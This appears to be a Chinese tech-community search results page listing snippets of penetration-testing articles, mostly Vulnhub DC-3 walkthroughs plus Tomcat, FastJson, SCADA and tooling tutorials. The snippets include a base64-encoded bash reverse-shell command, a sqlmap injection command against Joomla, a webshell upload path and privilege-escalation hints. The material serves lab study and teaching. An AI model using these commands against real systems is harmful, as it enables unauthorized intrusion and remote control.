首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏ly0n

    Vulnhub渗透测试:DC-3

    说明 ​ 由于最近一段时间都在准备大二上学期推迟的期末考试,所以导致安全方面的学习的文章没有持续更新,对于内网渗透来说,我还是比较喜欢搞的,一是知识点概括比较全,能够让自己在渗透的同时学到很多的东西 这篇文章主要就是为了记录在DC-2的渗透过程中的所有步骤,如果有什么地方出错,还请师傅们斧正。 环境安装 DC-2靶机下载 下载完成后将.ova文件导入到虚拟机内,网卡配置为NAT模式 攻击机Kali IP:192.168.117.128 DC-2 IP: 192.168.117.131 在测试前要注意的一点是我们要在本地的 =/bin/sh;a #调用/bin/sh解释器/bin/bash export PATH=PATH:/bin/ #配置环境变量 export PATH=PATH:/usr/bin 得到flag3. blog.csdn.net/qq_38677814/article/details/80003851 git提权:https://www.cnblogs.com/zaqzzz/p/12075132.html#3git

    98010发布于 2020-11-04
  • 来自专栏网安菜鸟成长记

    渗透测试Vulnhub-DC3

    Preface 本篇为vulnhub系列DC3啦,距DC2这段时间发生了许许多多的事情,有好有坏,都过来了,这几天多了一个特别的人,是幸运吧哈哈哈。 查到版本号后我直接百度了对应的漏洞利用文章,找到了sql注入,可以直接使用sqlmap跑,当然参考文章后发现大部分师傅是用searchsploit找的joomla3.7的漏洞,不过最后都是使用sqlmap注入,emmmm渗透过程就是这样 option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" –risk=3 –level=5 –random-agent ,所以文件路径就是/templates/beez3/html/shell.php,当然师傅们也可以写在其他路径中,能getshell就可以哈,然后使用蚁剑连接 但是现在只是www-data权限 不过也是看了大师傅们的文章才知道的,可以先看下靶机的版本信息 可以看到是Ubuntu16.0.4版本的,那么就去searchsploit看下有没有对应的利用脚本(searchsploit我在前面的渗透测试

    57820编辑于 2021-12-07
  • 来自专栏FreeBuf

    渗透测试 | Tomcat渗透

    Tomcat渗透 Tomcat任意文件写入(CVE-2017-12615) 影响范围 Apache Tomcat7.0.0-7.0.81(默认配置) 复现 这边我用vulhub sudo service 当开发人员开发完毕时,就会将源码打包给测试人员测试测试完后若要发布则也会打包成War包进行发布。 ://" target="_blank">

    三、更新记录

    2004.11.15 V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、 分位置 进行不同的载入 比如这里 就应该是3个位置 ? ? ? bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i} 最终的

    7.1K20发布于 2021-07-28
  • 来自专栏谢公子学安全

    渗透测试 | 渗透测试之信息收集

    渗透测试之信息收集 目录 信息收集 域名信息的收集 公司敏感信息网上搜集 网站指纹识别 整站分析 服务器类型(Linux/Windows) 网站容器(Apache/Nginx/Tomcat/IIS) 脚本类型 aspx) 数据库类型(Mysql/Oracle/Accees/Mqlserver) 主机扫描(Nessus) 端口扫描(nmap) 网站敏感目录和文件 旁站和C段扫描 网站漏洞扫描 信息收集 信息收集对于渗透测试前期来说是非常重要的 接下来,我就给大家整理了一下,渗透测试中常见的一些需要收集的信息。 传送门——> Github搜索语法 网站指纹识别 在渗透测试中,对目标服务器进行指纹识别是相当有必要的,因为只有识别出相应的Web容器或者CMS,才能查找与其相关的漏洞,然后才能进行相应的渗透操作。 对于单独网站的渗透测试,C段扫描意义不大。

    4.2K11编辑于 2022-01-19
  • 来自专栏世荣的博客

    渗透测试系统学习-Day3

    公开课 第四节课:快速自建Web安全测试环境 前端:网页前台部分,运行在PC端口,移动端等浏览器上展现给用户浏览的网页 核心技术:HTML CSS JavaScript 后端:构建工作的应用程序背后的实际逻辑 image.png image.png image.png image.png phpstudy漏洞影响版本 1.phpstudy 2016版本 php5.4 2.phpstudy 2018版本 php5.2.17 3. image.png 3.点击修改,点击保存设置并生成配置文件,访问,测试成功。

    54710编辑于 2022-03-10
  • 来自专栏sofu456

    渗透测试

    3.IO Graphs有六个可用函数:SUM, MIN, AVG, MAX, COUNT, LOAD(将Y轴设置为“Advanced”,让Caculation域可见) ? blog.51cto.com/414605/760724 wireshark io graph: http://blog.jobbole.com/70929/ 2.metasploit 1.渗透测试 metasploit几乎包含了渗透测试所有的工具,涉及渗透测试7个阶段。 前期交互阶段:与客户讨论并确定渗透测试的范围和目标 情报搜集阶段:采取各种手段搜集被攻击者的有用信息 威胁建模阶段:通过搜集的情报信息, 标识目标系统可能存在的安全隐患 漏洞分析阶段:分析漏洞的可行性以及最可行的攻击方法 渗透攻击阶段:对目标进行渗透 后攻击阶段:根据目标的不同, 灵活的应用不同技术.

    3.5K30发布于 2019-07-09
  • 来自专栏网络安全攻防

    【Web渗透渗透测试简介

    ,并以此来规避被恶意攻击者入侵的可能性 基本分类 渗透测试的类型主要有以下三种: 黑盒测试 黑盒测试(Black-box Testing)也被称为外部测试(External Testing),采用这种方式时渗透测试团队将从一个远程网络位置来评估目标网络基础设施 ,在采用灰盒测试方法的外部渗透测试场景中,渗透测试者也类似地需要从外部逐步渗透进入目标网络,但是他所拥有的目标网络底层拓扑与架构将有助于更好地决策攻击途径与方法,从而达到更好的渗透测试效果 测试流程 PTES )阶段,渗透测试团队与客户组织通过沟通需要对渗透测试的范围、渗透测试的方法、渗透测试的周期以及服务合同细节进行商定,该阶段通常会涉及收集客户需求、准备测试计划、定义测试范围与边界、定义业务目标、项目管理与规划等活动 ,渗透攻击可以利用公开渠道可获取的渗透代码,但一般在实际应用场景中渗透测试者还需要充分地考虑目标系统特性来定制渗透攻击,并需要挫败目标网络与系统中实施的安全防御措施才能成功达成渗透目的,在黑盒测试中,渗透测试者还需要考虑对目标系统检测机制的逃逸 ,从而避免造成目标组织安全响应团队的警觉和发现 后渗透的阶段 后渗透攻击(PostExploitation)整个渗透测试过程中最能够体现渗透测试团队创造力与技术能力的环节、前面的环节可以说都是按部就班地完成非常普遍的目标

    2.9K40编辑于 2023-03-29
  • 来自专栏渗透测试专栏

    渗透测试信息收集技巧(3)——指纹识别

    wafw00f cd wafw00f # 安装wafw00f,官方提供的命令 python setup.py install # 我的kali系统不知道什么原因上面命令安装失败,可能有安装python3的原因 ,使用python3命令安装成功了 python3 setup.py install # 查看支持测试WAF列表 wafw00f -l 测试命令如下: wafw00f 域名或ip 有使用WAF示例 没有使用 本文档所提供的信息仅用于教育目的及在获得明确授权的情况下进行渗透测试。任何未经授权使用本文档中技术信息的行为都是严格禁止的,并可能违反《中华人民共和国网络安全法》及相关法律法规。

    75420编辑于 2024-09-26
  • 来自专栏vulnhub DC 1-9

    VulnHub DC-3 靶机渗透测试笔记

    VulnHub DC-3 靶机渗透测试笔记靶机信息靶机名称:DC-3靶机来源:VulnHub目标:获取 root 权限,找到最终 flag难度:⭐⭐⭐☆☆(中等)涉及技术:信息收集、Joomla 漏洞利用 192.168.168.129 → 靶机 DC-3192.168.168.254 → DHCP 服务器1.2 端口与服务扫描对目标进行全端口详细扫描:nmap -A -p- 192.168.168.129DC-3 漏洞原理说明:SQL 注入脚本利用 Joomla 3.7.0 的 com_fields 组件存在注入点,直接拖库MSF 模块利用的是 Joomla 后台模板编辑功能写入 Webshell,需要管理员权限四、后渗透与提权 因为脏牛的一个exp失败了,就中间这个,靶机崩了,下面的就是脏牛的,先编译,后续不写了,靶机崩了3次)注:直接用脏牛(40611.c)时靶机容易崩溃,因此换用了更稳定的 eBPF 利用方式。 /doubleput4.5 获取 root 权限成功提权到 root,获取最终 flag:whoamicd /rootlscat the-flag.txt五、渗透流程总结信息收集(nmap + dirsearch

    20210编辑于 2026-03-06
  • 来自专栏全栈程序员必看

    渗透测试流程包括_渗透测试包含哪些内容

    目录 渗透测试步骤 步骤一:明确目标 步骤二:信息收集 步骤三:漏洞探索 步骤四:漏洞验证 步骤五:信息分析 步骤六:获取所需 步骤七:信息整理 步骤八:形成报告 # 流程总结 面试补充说明 渗透测试步骤 渗透测试与入侵的区别: 渗透测试:出于保护的目的,更全面的找出目标的安全隐患。 (是具有破坏性的) 步骤一:明确目标 1、确定范围:规划测试目标的范围,以至于不会出现越界的情况。 2、确定规则:明确说明渗透测试的程度、时间等。 3、确定需求:渗透测试的方向是web应用的漏洞? 5、清理痕迹:清理相关日志(访问,操作),上传文件等 步骤七:信息整理 1、整理渗透工具:整理渗透过程中用到的代码,poc、exp等 2、整理收集信息:整理渗透过程中收集到的一切信息 3、整理漏洞信息: 、验证过程和带来的危害进行分析 3、修补建议:当然要对所有产生的问题提出合理高效安全的解决办法 补充: 1、渗透时间?

    3.2K11编辑于 2022-11-15
  • 来自专栏全栈程序员必看

    Kali Linux渗透测试技术详解_渗透测试入门

    Kali Linux是做渗透测试用的 2. 安装VMware Workstation虚拟机 3. 安装kali-linux系统 4. Kali Linux是做渗透测试用的 渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法,这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析。 渗透测试与其他评估方法不同。通常的评估方法是根据已知信息资源或其他被评估对象,去发现所有相关的安全问题。渗透测试是根据已知可利用的安全漏洞,去发现是否存在相应的信息资源。 相比较而言,通常评估方法对评估结果更具有全面性,而渗透测试更注重安全漏洞的严重性。 渗透测试有黑盒和白盒两种测试方法。黑盒测试是指在对基础设施不知情的情况下进行测试。 白盒测试是指在完全了解结构的情况下进行测试。不论测试方法是否相同,渗透测试通常具有两个显著特点: 渗透测试是一个渐进的且逐步深入的过程。 渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试

    5.8K20编辑于 2022-09-22
  • 来自专栏全栈程序员必看

    drozer 渗透测试_什么是渗透

    一、环境准备 1、python27环境,一定要官网下载 python2.7下载地址 2、安卓模拟器(我用的夜深,其他应该也可以),或者一台安卓真机 3、java环境 Java下载地址 4、ADB,​ 安装以下几个python库 protobuf、pyopenssl、Twisted、service_identity pip安装即可,如下: python -m pip install pyopenssl 3、 电脑下载drozer,下载链接 4、下载完成后,双击运行安装(可能会报毒,点击直接运行就行) 5、安装到下面这一步时,如果你电脑上有python3他会默认显示python3,需要手动去选 6、到这一步安装完成 7、下载drozer-agent.apk,这是安装在测试手机端的,下载地址:drozer-agent下载 可以直接拖到模拟器安装,也可以使用adb安装,参考abd使用 ​ 如果是关闭的话点击关闭按钮即可开启) 三、连接 1、因为前面drozer安装完成后,安装路径自动保存到了python27的scripts目录下,如下: 2、所以在cmd控制台中要进入到该目录下,再执行命令 3

    2.2K10编辑于 2022-09-22
  • 来自专栏安全漏洞环境学习

    渗透测试靶机Lampiao渗透WriteUp

    SYN Stealth Scan at 01:24, 6.65selapsed (65535 total ports) Initiating Service scan at 01:24 Scanning 3 :ae:1f:c7:ff:c3:66:e3:10 (DSA) | 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA) | 256 ce :63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA) |_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23 xA3o 1 service unrecognized despite returningdata. Drupal在2018年暴露出一个漏洞,编号是CVE-2018-7600,那么我们在这里就需要利用的是2018-3-28更新的exp,设置攻击参数信息: ? ? 攻击成功!拿到shell: ?

    2.7K20发布于 2019-09-24
  • 来自专栏信安之路

    SCADA渗透测试

    我们从协议层看SCADA SCADA系统支持各种协议,如DNP3,ModBus,IEC 60870,BACnet,LonWorks和EPICS。 渗透测试方法 准备工作 通常,组织很少会把SCADA测试放在QA环境。所以假设必须要对SCADA网络进行实时评估,那我们要考虑所有可能的情况。 渗透测试者需要了解SCADA的作用:有什么关键任务、提供什么功能、最终用户是谁以及他对组织的作用。研究系统文档,对实施的产品和供应商进行自己的研究,挖掘已知产品漏洞,并且在此阶段记录默认口令。 SCADA渗透测试列表 出厂默认设置是否修改 是否设置了访问PLC的白名单 SCADA网络与其他网络是否隔离 是否可以通过物理方式访问SCADA控制中心 控制机器是否可以访问互联网 SCADA的网络传输是否是明文形式 组织是否遵循严格的密码策略 控制器、工作站以及服务器是否打了最新补丁 是否运行有防病毒软件并且设置应用程序白名单 工具列表 smod(https://github.com/enddo/smod):Modbus渗透测试框架

    3.4K00发布于 2018-08-08
  • 来自专栏自学测试之道

    web渗透测试

    web渗透测试概述 常见的web安全漏洞 攻击思路 渗透测试思路 暴力破解1 inurl:login.php intitle:登录 intext:登录 Brupsuit常用功能 暴力破解的特点

    2.4K40发布于 2020-08-06
  • 来自专栏afjhahfhahajk

    windows渗透测试

    1.通过本地PC中渗透测试平台Kali2.0对服务器场景Windows2020进行系统服务及版本扫描渗透测试,并将该操作显示结果中8080端口对应的服务版本信息字符串作为Flag值提交; 使用nmap -sV -n 靶机IP flag:Microsoft IIS httpd 5.1 2 .通过本地PC中渗透测试平台Kali2.0对服务器场景Windows2020进行渗透测试,将该场景网络连接信息中的 成功获取靶机的meterpreter回连会话 将得到的管理员的hash值,导入到ophcrack(彩虹表)进行破解 得到目标机器管理员密码tsgem2020 flag:216.146.35.35 3. 通过本地PC中渗透测试平台Kali2.0对服务器场景Windows2020进行渗透测试,将该场景中的当前最高账户管理员的密码作为Flag值提交; flag:tsgem2020 4.通过本地PC中渗透测试平台 进行渗透测试,将该场景中回收站内文件的文档内容作为Flag值提交。

    2.3K50编辑于 2021-12-13
  • 来自专栏信安之路

    Linux渗透测试

    最近发现了一个不错的靶场,里面各种渗透测试的虚拟机,大家可以下载进行尝试学习。还有就是一个漏洞利用存档,可以找到很多我们可以利用的学习的东西。 0x03 漏洞利用 经过简单的测试发现http://192.168.0.170/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user处确实注入。 ? ? 附Linux渗透小技巧: bash去掉history记录 export HISTSIZE=0 export HISTFILE=/dev/null Linux添加uid为0的用户 useradd -o -

    5.4K00发布于 2018-08-08
  • 来自专栏黑白天安全团队

    FastJson渗透测试

    ReferenceWrapper变成Reference类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码片段中的恶意代码 2.FastJson渗透总结 3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 4.ldap指轻量级目录服务协议。 >3 然后使用maven编译marshalsec成jar包,我们先进入下载的marshalsec文件中运行: mvn clean package -DskipTests ? ? 这里我们用dnslog做一个小测试: http://www.dnslog.cn/ ? 直接覆盖原来得文件; "/bin/sh","-c","ping user.' (fastjson>=1.2.25默认为false) 2.5 fastjson<=1.2.45漏洞详情 前提条件:目标服务器存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

    2.4K50发布于 2021-08-10
  • 来自专栏HACK学习

    渗透测试实战

    下面,是我分享地一个相对完整的渗透实战,仅供大家交流参考,所有的操作在本文公开以前均已恢复,请大家切勿用于非法目的。 一、 信息刺探 作为渗透测试的第一步,也是最重要地一步便是信息刺探。 于是,我们可以使用已经公开的exp(http://avfisher.win/archives/287)对其进行测试, 如下所示: ? ? 果然漏洞确实存在,而且我们也顺利地getshell了,那么是不是意味着我们的渗透已经结束了呢?no,no,no(重要的事情说3遍),其实真正的渗透才刚刚开始。 . . . : :: TCPIP 上的 NetBIOS . . . . . . . : 已禁用 3. 3. 尝试破解上面获得的无线路由器密码嗅探网络流量获取企业员工的用户名和密码。 在此就不再深入下去了!总之,渗透是一门特别的艺术,必须善于运用一切已获取的信息不断变换思路最终达成目的。

    4.2K10发布于 2019-08-07
  • 来自专栏搜狗测试

    初识渗透测试

    一、渗透测试概述 所谓渗透测试是借助各种漏洞扫描工具,通过模拟黑客的攻击方法来对网络安全进行评估。 渗透测试类型 选择的渗透测试类型取决于公司和组织的用途和范围 - 他们是否想要模拟员工,网络管理员或外部来源的攻击。通常,有三种不同类型的渗透测试: 黑盒测试:是指对基础设施不知情的情况下进行测试。 黑盒测试比较费时费力,同时要求渗透测试者具备较高的技术能力; 白盒测试:是指在完全了解结构的情况下进行的测试。白盒测试能比黑盒测试消除更多的目标的安全漏洞,给客户带来更大的价值。 白盒测试最大的问题在于无法有效的测试客户的应急响应程序,无法判断客户的安全防护计划对检测特定的统计的效率; 灰盒测试:就是以上两种的组合。可以同时发挥两种基本类型渗透测试方法各自的优势。 二、渗透测试流程 渗透测试与入侵的最大区别: 渗透测试:出于保护系统的目的,更全面地找出服务器的安全隐患。 入侵:不择手段地(甚至是具有破坏性的)拿到系统权限。 一般渗透测试流程如下: ?

    2K20发布于 2020-11-02
领券